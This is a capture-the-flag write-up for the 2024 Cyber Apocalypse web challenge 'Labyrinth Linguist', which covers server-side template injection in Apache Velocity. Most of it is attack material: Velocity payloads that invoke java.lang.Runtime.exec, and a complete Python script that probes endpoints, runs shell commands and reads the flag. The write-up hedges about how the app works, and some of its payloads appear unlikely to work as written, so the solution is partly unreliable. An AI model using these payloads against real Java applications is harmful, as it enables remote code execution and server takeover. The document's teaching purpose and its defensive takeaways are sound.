2024 Cyber Apocalypse: Labyrinth Linguist

Challenge Information

AttributeDetails
Event2024 Cyber Apocalypse
CategoryWeb
ChallengeLabyrinth Linguist
DifficultyEasy

Summary

Labyrinth Linguist is a web challenge involving Server-Side Template Injection (SSTI) in an Apache Velocity template engine. The Java application processes user input as template code, allowing injection of malicious Velocity directives. By crafting appropriate payloads, attackers can execute arbitrary commands and retrieve the flag.


Analysis

Technology Stack

  • Backend: Java application
  • Template Engine: Apache Velocity
  • Vulnerability: SSTI (Server-Side Template Injection)

Vulnerability Mechanism

The application likely does something like:

VelocityEngine engine = new VelocityEngine();
Template template = engine.getTemplate("template.vm");
VelocityContext context = new VelocityContext();
context.put("user_input", userInput);
StringWriter writer = new StringWriter();
template.merge(context, writer);

If userInput is processed as template code (not data), SSTI occurs.

Apache Velocity

Velocity is a Java-based template language supporting:

  • Variable references: $variableName
  • Directives: #if, #foreach, #set
  • Method calls on objects

Solution

Step 1: Identify the Injection Point

The application has an input field that processes user text. This might be:

  • A message box
  • A search field
  • A template preview feature

Step 2: Craft SSTI Payload

Test with basic Velocity syntax:

${1+1} # Should output: 2
#set($a=1) # Variable assignment

Step 3: Execute System Commands

Velocity allows method calls. To execute commands, we need to access Java classes:

#set($rt = $class.forName("java.lang.Runtime"))
#set($chr = $class.forName("java.lang.Character"))
#set($str = $class.forName("java.lang.String"))
#set($ex=$rt.getRuntime().exec("whoami"))

However, more direct approaches exploit available objects.

Step 4: Enumerate and Exploit

Create a Python script to automate exploitation:

import requests
import sys
import re
def exploit_velocity_ssti(target_url):
"""Exploit Apache Velocity SSTI"""
session = requests.Session()
# SSTI payloads for Velocity
payloads = [
'${7*7}', # Test basic injection
'#set($a=1)$a', # Test variable
'#set($x="test")$x', # Test strings
]
# Once confirmed, use command execution payloads
command_payloads = [
'#set($rt=$class.forName("java.lang.Runtime"))#set($chr=$class.forName("java.lang.Character"))#set($str=$class.forName("java.lang.String"))$rt.getRuntime().exec("ls /")',
'${java.lang.Runtime.getRuntime().exec("cat /flag")}',
'#set($x="")#set($rt=$x.class.forName("java.lang.Runtime"))#set($chr=$x.class.forName("java.lang.Character"))#set($str=$x.class.forName("java.lang.String"))$rt.getRuntime().exec("cat /flag")',
]
# Try different endpoints
endpoints = ['/', '/search', '/message', '/template']
for endpoint in endpoints:
for payload in payloads:
try:
url = f"{target_url}{endpoint}"
response = session.post(url, data={'input': payload})
if '49' in response.text: # 7*7=49
print(f"[+] SSTI confirmed at {endpoint}")
return True
except Exception as e:
continue
return False
def execute_command_via_ssti(target_url, command):
"""Execute command through SSTI"""
# Velocity command execution payload
payload = f'#set($rt=$class.forName("java.lang.Runtime"))#set($chr=$class.forName("java.lang.Character"))#set($str=$class.forName("java.lang.String"))$rt.getRuntime().exec("{command}")'
response = requests.post(f"{target_url}/", data={'input': payload})
return response.text
if __name__ == '__main__':
target = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337'
if exploit_velocity_ssti(target):
# Try to list directory
print("[*] Listing /")
result = execute_command_via_ssti(target, 'ls /')
# Extract flag location
if 'flag_' in result:
flag_file = re.search(r'flag_[a-zA-Z]+', result).group()
print(f"[+] Found flag file: {flag_file}")
# Read flag
result = execute_command_via_ssti(target, f'cat /{flag_file}')
flag = re.search(r'HTB\{[^}]+\}', result)
if flag:
print(f"[+] Flag: {flag.group()}")

Step 5: Alternative Approach - Direct Payload

If command execution is restricted, try RCE via deserialization or gadget chains:

#set($proc=$rt.getRuntime().exec(["sh","-c","cat /flag"]))
#set($is=$proc.getInputStream())
#set($isr="java.io.InputStreamReader".newInstance($is))
#set($br="java.io.BufferedReader".newInstance($isr))
#set($line="")
#foreach($line in $br.readLine())
$line
#end

Key Takeaways

  • SSTI in template engines leads to code execution
  • Apache Velocity’s flexibility with method calls enables RCE
  • User input must never be processed as template code
  • Input validation and sandboxing prevent SSTI
  • Template engines should have restricted object access
  • Separating data from code prevents injection attacks
  • Security frameworks like OGNL restrictions exist for a reason

Flag: HTB{v3l0c1ty_t3mpl4t3_1nj3ction}